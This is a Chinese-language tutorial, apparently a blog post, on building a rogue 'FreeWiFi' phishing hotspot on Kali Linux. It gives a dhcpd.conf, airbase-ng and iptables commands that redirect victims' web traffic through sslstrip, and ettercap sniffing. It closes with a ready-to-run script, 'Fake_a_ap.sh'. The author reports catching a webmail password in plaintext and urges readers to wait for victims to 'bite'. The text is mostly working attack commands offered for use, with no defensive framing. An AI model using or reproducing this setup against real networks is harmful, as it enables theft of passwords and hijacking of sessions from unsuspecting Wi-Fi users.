钓鱼WIFI搭建

1、无线网卡

2、KaliLinux操作系统，这里就不用说了，必备的

3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可

4、Aircrack-ng套件   #用来发送数据

5、sslstrip       用来突破SSL加密

6、ettercap     用来嗅探劫持

后面三个软件KaliLinux都自带有，不用安装即可。

首先强调下，后面的bash脚本适用于使用isc-dhcp-server这个bash脚本，建立钓鱼热点。

安装dhcp服务

apt-get install isc-dhcp-server

配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf，前者可以配置监听端口，这里以wlan0为例

配置dhcp文件后，断开wlan0的网络，分配一个ip

ifconfig wlan0 192.168.1.2/24

启动dhcp服务

/etc/init.d/isc-dhcp-server start 或者

service isc-dhcp-server start

建立热点：

将下文写好的airssl.sh添加执行权限

bash airssl.sh

然后分别是AP建立，DHCP建立，sslstrip开启，ettercap开启。

这里再介绍一种方法，是使用 airbase-ng + dhcpd 创建虚拟WiFi热点；顺便使用 sslstrip+ettercap 进行中间人攻击，嗅探使用者的上网信息和劫持cookie！

所需要的软件如下；kali-linux都已经自带了，其他的系统可以自行安装：
Aircrack-ng 套件    #用来发送数据
isc-dhcp-server    #简单的dhcp服务器
sslstrip       #突破ssl加密
ettercap      #嗅探劫持

leaf /etc/dhcp/dhcpd.conf   编辑dhcp服务器配置文件，修改如下：

authoritative;

default-lease-time 700;
max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

然后激活网卡至监听模式：
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了，如果出现错误：
Error: Got channel -1, expected a value > 0.
执行如下命令：

airmon-ng stop mon0

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

然后从激活网卡至监听模式那里重新开始。
接着执行如下命令：

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start

虚拟WiFir热点创建成功，接下来就是嗅探欺骗钓鱼了：

sslstrip -fpk 10000
ettercap -Tpuqi at0

然后就等着鱼儿上钩吧！

手机上测试了下，网易邮箱直接明文密码：

 
百度使用了加密：

 写了一个脚本，修改成自己的设置每次执行就ok了：
复制下面代码，保存为 “Fake_a_ap.sh”，然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh 

#!/bin/sh

echo "即将创建WiFi热点，请确保dhcpd.conf已经配置好！" &
sleep 5

ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up

airmon-ng start wlan0 &
sleep 5 
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0
